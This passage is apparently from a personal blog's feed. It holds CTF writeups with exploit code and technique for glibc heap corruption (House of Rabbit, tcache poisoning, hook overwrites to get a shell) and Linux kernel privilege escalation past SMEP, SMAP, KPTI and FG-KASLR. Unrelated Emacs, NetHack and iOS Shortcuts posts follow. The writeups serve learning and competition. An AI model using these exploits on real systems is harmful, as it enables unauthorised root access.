bin =bin_at (av, idx);
if ((victim =last (bin)) != bin)
{
if (victim ==0) /* initialization check */malloc_consolidate (av);
else {
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr ="malloc(): smallbin double linked list corrupted";
goto errout;
}
So there’s no size check, but the fake chunk’s bk pointer needs to point to a chunk whose fd pointer points back to the fake chunk (whew).
I chose to create another fake chunk on the heap for this purpose, but there’s no PIE so we could just as easily put a new fake chunk right next to the original fake chunk.3
Free chunks that don’t fit in a fastbin or smallbin are sorted into a largebin (ignoring the tcache).
Each largebin actually covers a range of bins, with larger bins covering progressively larger ranges; in addition to the linked list of chunks (of all sizes that largebin covers), each largebin has another linked list which links at most one chunk of each size that bin covers.
I like to think of each largebin as having an “inner” (skip list) and “outer” (regular) linked list, like this:
Actually linking in a fake chunk is straightforward; the only hiccup is that the chunk we’re tampering with can’t be the last chunk in that bin, otherwise we’ll never follow one of that chunk’s corrupted pointers:
C
3620
3621
3622
3623
3624
3625
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */if (victim !=last (bin)
&&chunksize_nomask (victim)
==chunksize_nomask (victim->fd))
victim = victim->fd;
So we need to link in another real chunk with size less than or equal to the size of the first real chunk.
This is a single null byte heap overflow; this allows us to zero out the flags (notably PREV_INUSE) of an adjacent chunk on the heap.
Consequently, we can force backwards consolidation with a fake chunk, leading to an overlapping chunk primitive (which can easily be pivoted to a UAF).
Solve
Here we abuse backwards consolidation to create a fake chunk overlapping the target data.
We can clear the PREV_INUSE bit of the victim chunk and then free it, or alternatively free it first and then use the null byte overflow to decrease the freed victim chunk’s size.
A cool trick is that instead of using a legitimate size for the fake chunk (which we can’t calculate in this instance because we don’t yet know the heap address), we can set it to 8.4
Computing the chunk following a size 8 chunk results in a chunk whose prev_size overlaps the size 8 chunk’s size, which passes the safe unlinking checks.
In this variant we don’t control the prev_size field of the victim chunk.
As alluded to earlier, we can decrease the size of a freed chunk, service an allocation from it (this does not update the prev_size and PREV_INUSE of the following chunk because we tampered with size), and then free the adjacent chunk, leading to an active chunk in the middle of a free chunk.
We can then use this to read unsortedbin linked list pointers for a libc and heap leak.
To gain code execution, I initially tried using an unsortedbin attack to clobber global_max_fast to a very large value in order for large chunks to be qualified for fastbin insertion, and then used this to link a fake 0xf0 chunk overlapping __malloc_hook into the fastbin freelist; however, due to poor register and stack control I was unable to meet the constraints of the one_gadgets in libc.
The intended solve was to use the unsortedbin attack to create fake chunk metadata in front of __free_hook; while this is a clever idea, this doesn’t work under QEMU as the MSB of libc addresses is 0xff, not 0x7f.
House of Rabbit
This is a technique that touches on many of the challenges covered thus far where a fake chunk “hops” between the fastbins, unsortedbin and largebins.
The steps are as follows:
Increase main_arena.system_mem to at least 0x80000 (minimum size of the largest largebin) by allocating and then freeing a large chunk (to raise mp_.mmap_threshold), then allocating another large chunk
Craft a fake chunk with an attacker-controlled, editable size field (initially set to 0x0). Link it into a fastbin (using e.g. fastbin dup)
Consolidate the fastbins into the unsortedbin by freeing a large chunk (any chunk that gets consolidated with this chunk counts towards the size)
Set the fake chunk’s size field to 0x80000 or higher
Allocate a chunk large enough to sort the largest largebin
Set the fake chunk’s size to be large enough to overlap target data (wrapping around after 0xffffffffffffffff if target data is before the fake chunk)
Allocate a chunk with a size such that the fake chunk is remaindered into a much smaller chunk that overlaps the target data
Allocate a chunk with size equal to the chunk remaindered from the fake chunk
Profit
Solve
Here we’re using a double free to link our fake chunk into a fastbin, but we could skip steps 2β4 if we were able to directly link a size 0x80000 fake chunk into the unsortedbin.
This is the same challenge, except we can no longer request fastbin sized chunks.
I initially tried setting the size of the fake chunk such that when it was remaindered, the remaindered chunk’s size field would overlap with __free_hook and be set to libc.sym.system.
However, although __free_hook can be overwritten this way, the program will segfault immediately afterwards when it tries to access a value just past the remaindered chunk.
Python
# ...# step 6: allocate a chunk large enough that remaindering it will overwrite the __free_hook with a target valuefree_hook_offset = (libc.sym.__free_hook-0x10) - elf.sym.user
edit_age(free_hook_offset + (libc.sym.do_system+1) +0x7)
chunk_M = malloc(free_hook_offset, b"/bin/sh\x00") # __free_hook = size of remaindered chunk# CRASH! (γΒ°ηΒ°)γ# free(chunk_M)# proc.sendline(b"id")# print(proc.recvline())
Instead I targeted __after_morecore_hook, which thankfully satisfies the conditions for a one_gadget.
Python
# ...# step 6: allocate a chunk large enough such that remaindering it will create a free chunk overlapping __after_morecore_hookafter_morecore_offset = (libc.sym.__after_morecore_hook -0x20) - elf.sym.user
edit_age((after_morecore_offset +0xa0) |0b1)
malloc(after_morecore_offset, b"M")
one_gadget = libc.address +0x3ff5emalloc(0x90-8, p64(one_gadget))
proc.timeout =0.5malloc(0x60010-8, b"") # trigger __after_morecore_hookproc.sendline(b"id")
print(proc.recvline())
From this point on, glibc β· 2.26 will be compiled with tcache enabled
This is essentially the same as the fastbin dup, except even easier as free doesn’t check if the chunk being freed is already at the head of the tcachebin, and there are absolutely no sanity checks on what constitutes a valid fake chunk.
When servicing a request from a fastbin, malloc will attempt to move as many remaining chunks in that fastbin that will fit into the corresponding tcachebin.
Solve
There’s now a check in free that ensures a chunk being freed isn’t already in the target tcachebin, so we can’t just do a simple tcache dup.
However, chunks that are dumped from a fastbin to a tcachebin are not subject to this check, so if we can corrupt a fastbin fd we should be in good shape.
Normally we could just free a chunk a bunch of times to fill up the tcache, but we have a limited number of frees: what to do?
If we were dealing with other bins we’d be in a tough situation, but the tcache stores its metadata on the heap, which is our domain!
We’ll do most of our work in a single victim chunk, which we’ll have two handles to: one “alive” pointer (with in_use=1) that we can read from and one “dead” pointer we can continuously call free on.
After setting that up we can leak the heap with a tcache dup, which results in our victim chunk pointing to itself.
Once we do that we can overwrite this pointer with the start of the tcache struct and call malloc twice to get a chunk that overlaps tcache.
We use this chunk to artificially mark the 0x240 tcachebin as being full (taking care to set the head pointer back to tcache so we can edit it again in the future); this allows us to free a chunk into the unsortedbin and get a libc leak.
Armed with our leaks, we can now request another 0x240 chunk to edit tcache again, and this time we set the head of the 0x240 tcachebin to point to the __free_hook.
An allocation and a free later and we have a shell!
Note that non-fastbin chunks have additional metadata; see the Glibc explanation for more info. ↩︎
This is one of the OG heap exploits, used all the way back in 2000 to pwn Netscape. ↩︎
We could also set this fake chunk’s fd and bk pointers to point to itself instead of constructing a fake victim->bk->fd on the heap. ↩︎
Note that it must be exactly 8, i.e. the AMP flags must be cleared ↩︎
]]><![CDATA[Emacsjail]]>https://feyor.sh/writeups/emacsjail/George Huebner2025-11-08T00:00:00+00:002025-12-24T13:31:45-06:00Emacsjail was an Emacs Lisp jail challenge I wrote for UIUCTF 2025.
There were 17 solves during the competition, some of which were quite creative!
So we’re writing Lisp code without parens… a little cursed, but ok.
The first insight is that the read syntax for closures doesn’t (necessarily) use any parentheses if we use bytecode.
The second insight is that Emacs advice does not apply to functions which have dedicated opcodes in the Emacs Lisp bytecode interpreter.1
Naturally, this behaviour is documented in the Emacs manual.
It is possible to advise a primitive (see What Is a Function?), but one should typically not do so, for two reasons. Firstly, some primitives are used by the advice mechanism, and advising them could cause an infinite recursion. Secondly, many primitives are called directly from C, and such calls ignore advice; hence, one ends up in a confusing situation where some calls (occurring from Lisp code) obey the advice and other calls (from C code) do not.
There are two such functions, set-buffer and buffer-substring, that allow us to extricate the flag.
(Note that byte-compile can behave strangely depending on your Emacs version and you might have to write the bytecode by hand, in which case the Emacs Lisp Bytecode Reference Manual is very useful.)
At least, that was the intended solve: as it turns out, I forgot to advise quite a few functions.
Take for example the following solution:
]]><![CDATA[Speedier elisp-refs-* with Dumb Grep]]>https://feyor.sh/blog/speedier-elisp-refs/George Huebner2025-09-15T00:00:00+00:002025-12-11T18:22:18-06:00Helpful is a fantastic Emacs package that drastically improves the builtin help-mode.
One of the particularly nice features is finding references to a particular symbol.
Unfortunately it can be painfully slow in practice due to actually parsing every loaded Elisp file:
Emacs Lisp
Instead of walking the ASTs of every file, why not do a regex search?
It sacrifices correctness (and completely ignores the type of the symbol), but it turns out to be orders of magnitude faster in practice.
Bonus points for using a fast tool like ripgrep and extra bonus points for completing the work asynchronously so as not to block Emacs’s main thread.
I don’t mean to denigrate elisp-refs; the author clearly has put a lot of thought into performance and it’s only natural that using an approach that heavily cuts corners together with a tool implemented in optimized machine code instead of Elisp (which is especially hampered by GC performance) will lead to faster results.
I’m a ripgrep junkie and I prefer it for grokking most codebases, but the speed comes at the cost of having to sift through many false positives.
I use the wonderful deadgrep package to do just that:
The code is quite hacky because deadgrep is not designed to allow passing multiple directories in a single search, but this gets the job done.
Emacs Lisp
(with-temp-buffer (let ((button (make-button (point-min) (point-max)))
(time-to-draw)
(time-to-completion))
(button-putbutton'symbol#'car)
(setqtime-to-completion (benchmark-elapse (setqtime-to-draw (benchmark-elapse (helpful--all-referencesbutton)))
(whiledeadgrep--running (sit-for0.1'nodisp))))
(format"Time to first draw: %s\nTime to completion: %s"time-to-drawtime-to-completion)))
Time to first draw: 0.084542
Time to completion: 38.184606
In this pathological case the total time is slower than using elisp-refs-function because there are almost four times as many matches because of comments/docstrings and partial matches like mapcar or car-safe (including symbols that aren’t functions like byte-car).
The major difference is that while the performance of elisp-refs-* functions1 are roughly constant regardless of the total number of references to a symbol, using ripgrep is significantly faster for terms with fewer than 10k matches (not to mention that you can browse the results immediately).
If you want to remove the partial matches, you could use the following advice instead:
This unfortunately will highlight the entire match instead of just the capturing group, so I prefer not to use it (althgough the speed is mostly the same, if not a bit faster).
elisp-refs-symbol is faster than its counterparts due to reduced implementation complexity ↩︎
]]><![CDATA[My other email client is a daemon]]>https://feyor.sh/blog/my-other-email-client-is-a-mail-daemon/George Huebner2025-08-21T00:00:00+00:002025-12-11T18:28:10-06:00
I have a slight problem wherein every time I start up a game of NetHack, I completely lose touch with my surroundings for hours on end.
Thankfully The DevTeam Thinks Of Everything and there’s a solution that allows communication with the outside world without breaking immersion: the mail daemon!
If compiled with -DMAIL and OPTIONS=mail is set in your runtime configuration (the default on Linux), NetHack will periodically check a user specified mbox file (MAIL) for new mail, and upon receiving an email a mail daemon will spawn in and deliver a scroll of mail to the player.
Upon reading this scroll a mail program (MAILREADER) will be executed, which hopefully allows you to read your mail.
I use the Lisp window port to play NetHack (the way God intended), and I really don’t like leaving Emacs, so let’s figure out how to integrate this feature with mu4e.
mu uses maildir, not mbox, so I decided to write a cron job that periodically converts my maildir to mbox format.
An important insight is that NetHack never checks the contents of the mailbox file, just the mtime.
Therefore all our script needs to do is check if our maildir contains any messages received within the last
minutes, and if so touch the mbox file.
Python
import os
import mailbox
from datetime import datetime, timedelta
import pathlib
MAILDIR = os.path.expanduser("~/Mail/personal/INBOX")
MBOX ="/tmp/nh.mbox"maildir = mailbox.Maildir(MAILDIR)
for msg in maildir:
if datetime.fromtimestamp(msg.get_date()) > datetime.now() - timedelta(minutes=5):
pathlib.Path(MBOX).touch()
breakmaildir.close()
I’m using emacsclient instead of plain old emacs partly because only one process at a time can hold the lock on mu’s database, so I don’t want to spin up another Emacs process.
It’s also worth mentioning that my emacsclient is wrapped such that it opens a new frame if invoked outside of Emacs and reuses the current frame if invoked from within Emacs, so this behaves as you would expect, even if I’m using e.g. the curses port in a separate terminal.
Bash
export_t='-c'exec"/nix/store/...-emacs/bin/.emacsclient-wrapped""${_t/${INSIDE_EMACS:+*}/-u}" -a /nix/store/...-emacs/Applications/Emacs.app/Contents/MacOS/Emacs "$@"
Here’s some riveting gameplay footage of dungeon level 1:
]]><![CDATA[kernel-rop (hxp CTF 2020)]]>https://feyor.sh/writeups/kernel-rop/George Huebner2025-07-25T00:00:00+00:002026-10-06T15:02:25-05:00This challenge was my first experience with kernel pwn, and I’ve got to say it’s a pretty good introduction!
Description
Security is difficult, and defenses should be always taken with a grain of salt.
Who would win?
A buffer overflow or The Hottest Linux Defenses?
Flag is in /dev/sda.
Now let’s leak that pesky stack canary!
According to IDA there’s nothing below int tmp[32] on the stack (besides the frame pointer), so the offset should be 4 * 32 + 8.
Pro tip:
You can debug kernel modules under GDB by adding the offset of a particular function or instruction to the base address of said module, which can be found in /proc/modules.
Zig
var buf: [4*32+8]u8=undefined;
_ =try std.posix.read(fd, &buf);
std.mem.reverse(u8, buf[buf.len-8..]);
std.debug.print("Stack canary is 0x{s}\n", .{std.fmt.bytesToHex(buf[buf.len-8..], .lower)});
Stack canary is 0x1c55bfc54ff0b200
Let’s check if we can do a simple ret2win:
Zig
const tmp_size =@sizeOf(i32) *32;
fnbigEndianify(comptime len:usize, buf: []constu8) [len]u8 {
var bufLE: [len]u8=undefined;
inlinefor (0..len) |i| bufLE[i] = buf[len-1-i];
return bufLE;
}
var __spinlock:bool=false;
inlinefnspin() void {
while (true) if (__spinlock) break;
}
fnleakCanary(fd: std.posix.fd_t) !u64 {
var buf: [tmp_size +8]u8=undefined;
_ =try std.posix.read(fd, &buf);
return std.mem.bytesAsValue(u64, buf[tmp_size..]).*;
}
fnret2win() void {
// i don't understand why, but this doesn't work (for an unpriviledged shell)
// std.debug.print("[INFO] You won!!\n", .{});
// const argv = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
// switch (std.posix.execveZ(argv[0].?, argv[0..argv.len], &[_:null]?[*:0]const u8{})) {
// else => unreachable,
// }
asmvolatile("int3; nop");
}
fnexploit(fd: std.posix.fd_t) !void {
const ret = std.mem.asBytes(&@intFromPtr(&ret2win));
std.debug.print("[INFO] Address of ret2win is 0x{s}\n", .{std.fmt.bytesToHex(bigEndianify(8, @constCast(ret)), .lower)});
const canary =tryleakCanary(fd);
std.debug.print("[INFO] Stack canary is 0x{s}\n", .{std.fmt.bytesToHex(bigEndianify(8, @constCast(std.mem.asBytes(&canary))), .lower)});
const payload =&[_]u8{0} ** tmp_size ++ std.mem.asBytes(&canary) ++&[_]u8{0} ** (8*3) ++ ret;
_ =try std.posix.write(fd, payload);
}
For priviledge escalation, we’ll create a new set of root credentials with prepare_kernel_cred(NULL) and overwrite the process’s existing cred struct with commit_creds().1
ffffffff814c6410 T commit_creds
ffffffff814c67f0 T prepare_kernel_cred
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff81fa4d42 r __kstrtabns_commit_creds
ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred
Additionally, we need to swap to userland before we pop a shell; this can be accomplished by saving the state of registers before interacting with the hackme driver, then calling swapgs/iretq to context switch back to userland.
whoami: unknown uid 1000
[INFO] Saved state
[INFO] Canary: 0x4876ab567c920000
[INFO] You won!!
whoami: unknown uid 0
SMEP
Supervisor mode execution protection is kinda like the NX bit: when we’re in the kernel, userland pages are marked as non-executable.
So instead of just calling ret2win we have to use ROP to pop a shell.
Through trial and error I determined that gadgets roughly past 0xffffffff81b00000 were in a non-executable segment, so I restricted the search to reflect that.
Also, trying to use an allocator (including FixedBufferAllocator) to assist in constructing the payload led to confusing protection fault bugs, so beware of that.
whoami: unknown uid 1000
[INFO] Saved state
[INFO] Canary: 0x9866a26a8b9ba300
[INFO] You won!!
whoami: unknown uid 0
SMAP
With supervisor mode access protection we can not only not execute code in userspace, but not even read or write to it.
Because our ROP chain is contained in kernelspace, we are able to escalate priviledges and context switch to userspace without reading from userland memory, so no issues here!
whoami: unknown uid 1000
[INFO] Saved state
[INFO] Canary: 0x9a56f4945c848500
[INFO] You won!!
whoami: unknown uid 0
(One possible solve that works under SMEP but not SMAP involves stack pivoting to a page in userspace.)
KPTI
Kernel page-table isolation is a mitigation that results in different page tables being used when in user-mode or kernel-mode, and it was introduced to combat the Meltdown attack.
The previous exploit will not work because even though we context switch to userspace, we are still using kernel page tables and so ret2win is inaccessible.
So in addition to context switching to userland, we also need to swap page tables.
This can be accomplished by a KPTI trampoline, which is very similar to our context switching gadget except that it also modifies the CR3 register to swap page tables.
whoami: unknown uid 1000
[INFO] Saved state
[INFO] Canary: 0xeabc83c7a6ad8500
[INFO] You won!!
whoami: unknown uid 0
Alternate solve: Signal Handlers
The SMEP+SMAP solve will segfault in userland when KPTI is enabled; instead of using a KPTI trampoline to switch to userland page tables, we can register a signal handler (in userland) for SIGSEGV and the kernel will do the switch for us.
whoami: unknown uid 1000
[INFO] Saved state
[INFO] Canary: 0x10f9df0cd1e27500
[INFO] You won!!
whoami: unknown uid 0
KASLR
Time for the final challenge: fine-grained kernel address space layout randomization (FG-KASLR).
Unlike regular (K)ASLR, a single leak is not enough to find the addresses of all symbols—we must get more creative to find the addresses of certain parts of our payload.
Fortunately not all symbols are affected by the fine-grained (or function granular?) part of KASLR:
ffffffff95200000 T startup_64
ffffffff95200030 T secondary_startup_64
ffffffff952001f0 T __startup_64
ffffffff95400f10 T swapgs_restore_regs_and_return_to_usermode
ffffffff95987a80 T commit_creds
ffffffff95b00e00 T prepare_kernel_cred
ffffffff96187d90 r __ksymtab_commit_creds
ffffffff9618d4fc r __ksymtab_prepare_kernel_cred
ffffffff961a0972 r __kstrtab_commit_creds
ffffffff961a09b2 r __kstrtab_prepare_kernel_cred
ffffffff961a4d42 r __kstrtabns_prepare_kernel_cred
ffffffff961a4d42 r __kstrtabns_commit_creds
Bash
# reboot and run againcat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'
ffffffff90000000 T startup_64
ffffffff90000030 T secondary_startup_64
ffffffff900001f0 T __startup_64
ffffffff90200f10 T swapgs_restore_regs_and_return_to_usermode
ffffffff90741cf0 T commit_creds
ffffffff908b7880 T prepare_kernel_cred
ffffffff90f87d90 r __ksymtab_commit_creds
ffffffff90f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff90fa0972 r __kstrtab_commit_creds
ffffffff90fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff90fa4d42 r __kstrtabns_prepare_kernel_cred
ffffffff90fa4d42 r __kstrtabns_commit_creds
['secondary_startup_64', '__startup_64', 'swapgs_restore_regs_and_return_to_usermode', '__ksymtab_commit_creds', '__ksymtab_prepare_kernel_cred', '__kstrtab_commit_creds', '__kstrtab_prepare_kernel_cred', '__kstrtabns_commit_creds'] left invariant under FG-KASLR
prepare_kernel_cred and commit_creds are affected by FG-KASLR, but the KPTI trampoline, __ksymtab_commit_creds and __ksymtab_prepare_kernel_cred are fine.
What is __ksymtab?
There needs to be some way for kernel modules to be able to see symbols exported by the kernel or other kernel modules, so ksymtab is a struct (which has an address that is a fixed offset from the kernel base address) that stores information about a symbol, such as the address offset relative to the corresponding ksymtab struct.2
So if we get the address of __ksymtab_commit_creds and then add __ksymtab_commit_creds.value_offset3 to it, we get the address of commit_creds.
With that in mind, let’s find gadgets to build our payload (restricting our search to the beginning of the kernel which, as we observed earlier, is not affected by FG-KASLR, just regular KASLR).
0xffffffff81004aae: mov eax, [rax+0x10]; pop rbp; ret;
0xffffffff81004d11: pop rax; ret;
0xffffffff81006123: push rax; ret;
0xffffffff810075d0: pop rbx; ret;
0xffffffff81007616: pop rdx; ret;
0xffffffff8100767c: pop rdi; ret;
0xffffffff8100dad3: mov eax, [rax+0xe0]; pop rbp; shr eax, 1; and eax, 1; ret;
0xffffffff81012551: add rax, rdi; ret;
0xffffffff81012552: add eax, edi; ret;
I couldn’t find a way to move the result of prepare_kernel_cred(0) into rdi with the gadgets we have to work with, so I opted to split the payload into 2 pieces.
Notice the values buf[304..304+8] and buf[328..328+8]: across the different runs only the 4th least significant byte differs.
Furthermore, this byte is the same for both values in a single run, so it’s very likely that these values are a constant offset from the kernel base.
As it turns out, masking out the lower 2 bytes of buf[304..304+8] yields the kernel base address (source: trust me bro)!
This is not an alternative bypass to KASLR, but rather a different attack vector to indirectly achieve priviledge escalation without putzing with commit_creds(prepare_kernel_cred(0)).
Basically, when execve‘ing a binary with magic bytes the kernel doesn’t recognize, eventually the following will get called:
Bash
$modprobe_path -q -- binfmt-$MAGIC
Where $modprobe_path is the string stored in the modprobe_path kernel symbol, and $MAGIC is whatever the magic bytes of the file are.
So if we overwrite modprobe_path, we can get the kernel to execute a file we control.
This was my first time solving a kernel pwn challenge, and I was initially quite lost as how to even approach this challenge.
I found the following resources invaluable:
Really good resource for learning the basics of kernel pwn and setting up your environment for kernel debugging.
Other kernel-rop writeups
The writeups published by Midas and 0x434b were super helpful for learning bypasses to different mitigations and alternative solutions to arrive at privileged code execution.
For those curious, I wrote the exploits and this post using Emacs org-mode.
Taking the time to get it setup was a little annoying, but being able to run arbitrary commands in the challenge VM (not to mention compiling an exploit and regenerating the initramfs) with a single keystroke hugely improved my productivity.
Using Zig instead of C was also quite nice because of a (imo) much better standard library and quick compile times.
Even if using C, using zig cc to easily target x86_64-linux-musl is super convenient.
This work was completed at the Recurse Center. If you want to program at the edge of your abilities, consider applying.
]]><![CDATA[disaster.el + zig cc = Budget godbolt]]>https://feyor.sh/blog/godbolt-in-emacs-with-disaster-and-zig/George Huebner2025-02-26T00:00:00+00:002025-12-11T18:21:33-06:00Disaster is an Emacs package authored by the venerable Justine Tunney that allows disassembling C/C++ and Fortran code from the comfort of your source editing buffer.
I really like this idea, but most of the time I’m interested in x86_64 assembly instead of my aarch64 host platform, so I decided to hack on cross compilation support using Zig as a C/C++ cross compiler!
I’m using disaster because its simplicity fits my use case, but you should be able to use the same idea with other packages like
This requires zig and jq to be in Emac’s exec-path, although I’m sure you could use Elisp to do the JSON parsing instead, especially now that Emacs 30.1 ships with its own JSON implementation.
Most sane people would object to my usage of cl-letf and advice instead of a separate wrapper function; this would probably be more readable as a patch instead, but I like having a snippet that you can quickly try out with eval-last-sexp.
Caveat emptor: this falls apart for large projects, poorly behaved Makefiles, and probably CMake (I tried ameliorating the latter issue upstream, but I don’t use CMake that often so YMMV).
Also, this definitely doesn’t count as a “Compiler Explorer” in the strict sense because you’re using the same version of LLVM regardless of target; you might be able to do something like leverage nixpkgs’ cross compilation support to build older cross-compilers, but you’re probably better off using Docker or Godbolt at that point.
]]><![CDATA[Location-based Reminders with beorg]]>https://feyor.sh/blog/location-based-reminders-with-beorg/George Huebner2024-10-30T00:00:00+00:002025-12-11T18:19:34-06:00I was talking with my roommate about his Org agenda workflow and he noticed some “trivial” tasks cluttering his inbox.
These tasks required no thought, but required being at a specific place to complete.
My roommate and I both use the wonderful iOS app beorg to keep our Org files synced to our phones so we can receive reminders and file things into our inboxes when away from our computers.
However, beorg doesn’t do anything special (to my knowledge) based on location; that’s fine by me, because it does one thing and does it well.
Still, this got me thinking: might there be a way to tag TODOs such that they don’t show up in the agenda view, but such that I receive a mobile notification when I’m at a location I can act on them (e.g. grocery store)?
So I set out to create a workflow for location-based reminders in Org-mode.
All shortcut files used in this post, along with instructions for importing them, are provided at the bottom of this page.
Shortcuts
I had just started exploring the iOS Shortcuts app a few days prior (which I used to selectively enable a greyscale filter in unproductive apps), and it seemed like this would be up to the task.
Trigger a workflow on arrival to any location? Oh, this will be a breeze!
If only we knew the suffering that would befall us next…
The first piece of the puzzle was figuring out how to activate a shortcut when I arrived at certain location: this in and of itself was not too hard to do, using personal automations.
You provide a trigger, and run an automation; it’s annoying you can’t call the automation with arguments (besides your location, I mean), but you can define wrapper shortcuts that call a location agnostic shortcut with a particular string, for example.
The second piece of the puzzle was getting the important information from beorg; naturally, the author of beorg being a Lisp programmer and all, beorg has a very comprehensive scripting API and IPC interface (which he used to make his own org-capture shortcut for Safari!)
The part I care about are URL Schemes, which allows using the “Open X-Callback URL” action to perform certain actions in beorg, like adding agenda items or searching the agenda.
Using the basic beorg search syntax, k r location home will search for incomplete items that have the property location with value home (both are case insensitive).
(Oh, and don’t bother with the “Show Alert” action, because you can’t customize the display or make it do anything useful when clicking on it.)
This works great, except there was a small problem: this only works when my phone is unlocked.
I guess executing arbitrary code without user interaction is no buenoβ’, after all.
So when I walk into my lab, instead of a helpful reminder all I get is a prompt for my password.
Even worse, this prompt shows up every time I trigger the reminder, because it needs to unlock my phone to run the query, regardless of whether that query returns an actionable task or not.
It was time to go back to the drawing board.
Shortcuts, take 2
My thought process was this: I don’t actually mind unlocking my phone to see the specific agenda items in beorg if I know there will be items; would it be possible to just check for the existence of location-based reminders without unlocking my phone?
This is where this endeavour goes from neat to completely scuffed.
Not every action in a shortcut requires unlocking the phone; it turns out that although you can’t open other apps, you can read files.
All of my Org files are stored in my iCloud Drive, so I can read them from the shortcut no problem.
The dumb (and, as it turns out, best) idea is just using a regex to search for the value of the LOCATION property (this does require that I’m diligent about refiling DONE items so the only items with the LOCATION property set in my agenda are incomplete).
This approach doesn’t require PCRE or lookahead to gather information about the task—once I know the task exists, I can just check my agenda for more details.
So running this manually on my laptop works fine; great.
Now on iOS… hmmm. That’s not right.
The content graph on MacOS looks fine (I can even export my Org files to PDF!), but iOS refuses to treat the files as text.
I almost gave up here after being unable to do something as simple as write a file… iOS was very picky in what constituted a “valid path”, a problem likely exacerbated by the fact I’m mucking around in my iCloud Drive.
But I found a shortcut someone else wrote for dumping binary media that gave me the idea to base64 encode the Org files, which should work on any arbitrary bytes, regardless of filetype.
So I literally just fed the “Encode with base64” shortcut into the “Decode with base64” shortcut, and… viola! We have our file!
The only minor hiccup I encountered was opening the X-Callback URL would switch to the beorg app, but then immediately switch back to Shortcuts.
The fix was opening the URL with the “Open URL” action instead of the “Open X-Callback URL” action, which still pulls up the agenda search view as desired.
Now we’re done.
Finishing up
When I was writing this up, I wanted a way to easily share the Shortcut (especially because it uses this block-based language that’s really annoying to edit).
You can share shortcuts through iCloud, but I literally just want a plaintext file.
Trying to export a shortcut to a file will either phone home to Apple or forcibly sign it with your contact information.
The workaround I found was thus:
Write an auxillary shortcut that exports shortcuts to p-lists, and run that on the shortcut you’d like to export
Change the extension (of the p-list which is actually XML) from .xml to .shortcut
This gives you an unsigned shortcut, but you can’t import those; the receiving party must:
Run shortcuts sign -m people-who-know-me -i input.shortcut -o output.shortcut (this signs output.shortcut with your contact info, but you can keep this as device-local copy).
Oh wait, that doesn’t work! The example I literally copy and pasted straight from the docs doesn’t work!
Give up and resign yourself to signing with anyone instead.
Double-click output.shortcut or drag it into the Shortcuts app to import it (for some reason the “File > Import” menu bar item doesn’t seem to recognize these).
In summary:
For some incredibly bizarre reason, iOS shits the bed on an Org file, and I had to b64encode and b64decode it to prove it wasn’t scary
The Shortcuts app itself frequently bugs out/crashes on macOS and iOS
Example home shortcut (you have to add the automation/location manually; also, you probably want to edit the list of keywords to determine what LOCATION values should be matched for this location)
]]><![CDATA[The Singularity Ate My News Reader]]>https://feyor.sh/blog/the-singularity-ate-my-news-reader/George Huebner2024-07-14T00:00:00+00:002025-12-11T18:20:14-06:00I decided to start using an RSS client, primarily because I kept coming back to these same few blogs with really nice content and wanted to stay updated, but also because the signal-to-noise ratio on e.g. Reddit is horrendous and mindlessly doomscrolling is not a good use of my time.
I’ve gone through a real Emacs ricing stint lately, and as the lines of elisp in my config continue to accrue, so too does the gravitational pull of my favorite text-based operating system gradually increase — email, IRC, and now RSS have fallen through the event horizon.
I decided to pick up Elfeed and I wasn’t disappointed; you can tell that Chris Wellons, despite having turned to the dark side, has put a lot of thought into the UX and extensibility of it.
Elfeed Hacks
Here are a few lines from my config that I think might be of value to other people:
Emacs Lisp
(use-packageelfeed:config (defunelfeed-clean-trash (&optionalnow)
(interactive"P")
(with-elfeed-db-visit (entry_)
(when (elfeed-tagged-p'trashentry)
(setf (elfeed-entry-contententry) nil)))
(ifnow (elfeed-db-gc)
(run-with-idle-timer15 nil #'elfeed-db-gc)))
(deffaceelfeed-search-trashed-title-face'((((classcolor)) (:foreground"red":weightextra-bold)))
"Face used in search mode for trashed entries.")
(push'(trashelfeed-search-trashed-title-face) elfeed-search-face-alist)
So Elfeed doesn’t really have a concept of “deleting” entries, but you can delete the content of an entry if you’re worried about disk space; given that I subscribe to news aggregators, this is a legitimate concern.
Although I usually prefer using shr to view entries, entries from news aggregators just contain a link to the post and a link to the comments section; for these I can C-u RET to open the article directly in my browser (I’m using the surprisingly nice xwidget-webkit).
Speaking of news aggregators, it’s rather annoying to have the same blog post appear multiple times from Hacker News and Lobsters; to address that, I patched Elfeed to generate the unique id for an entry based on its link, causing “hash collisions” between identical articles.
I haven’t upstreamed this because it’s certainly an antipattern (Elfeed fetches feeds asynchronously, so there’s a race condition between which feed you fetch a link from first), but I tend to filter posts using tags, not feeds, so I like it better this way: if you’re interested, you can get the patch here.
Finally, there’s an annoying issue where cached images are displayed at their original resolution, usually exceeding the dimensions of the window I’m viewing the post in.
I originally thought this was a bug in shr, then realized it was a bug in Elfeed, but when fixing Elfeed I realized there was a related SVG bug in Emacs.
If you’re impatient you can (setq shr-ignore-cache t) as a band-aid fix.
One really nice feature of eww is that PDFs and other non-text files will automatically open in their respective Emacs major mode; to further facilitate that, I mimicked Zotero’s connectors by redirecting arXiv abstracts to their PDFs.
fysh/browse-url-proxy-prefix was meant to view PDFs from paywalled journals through my university’s proxy; eww can’t auth because there’s no JS engine, so I considered reusing cookies from my primary browser, but that sounds like a lot more work than just Gib Lenning the papers instead π
]]><![CDATA[SchrΓΆdinger's Cat]]>https://feyor.sh/writeups/schroedingers_cat/George Huebner2023-07-12T00:00:00+00:002025-12-24T13:31:45-06:00SchrΓΆdinger’s Cat was a quantum computing misc challenge repurposed written for UIUCTF 2023.
The challenge had unrated difficulty and had 17 solves during the competition.
Description
Our boss got mad that our SSH keys were weak, so now we’re using a quantum computer to be extra secure!
Hints
Hint 0:
There are known bugs in OpenQASM transpilation β please use Qiskit, and optimize your circuit before serialization.
Hint 1:
Shendefraude? Bullocks I say! You’re way off the Markov. (This was a pretty terrible allusion to this paper that describes Qiskit’s StatePreparation algorithm.)
import numpy as np
from base64 import b64encode
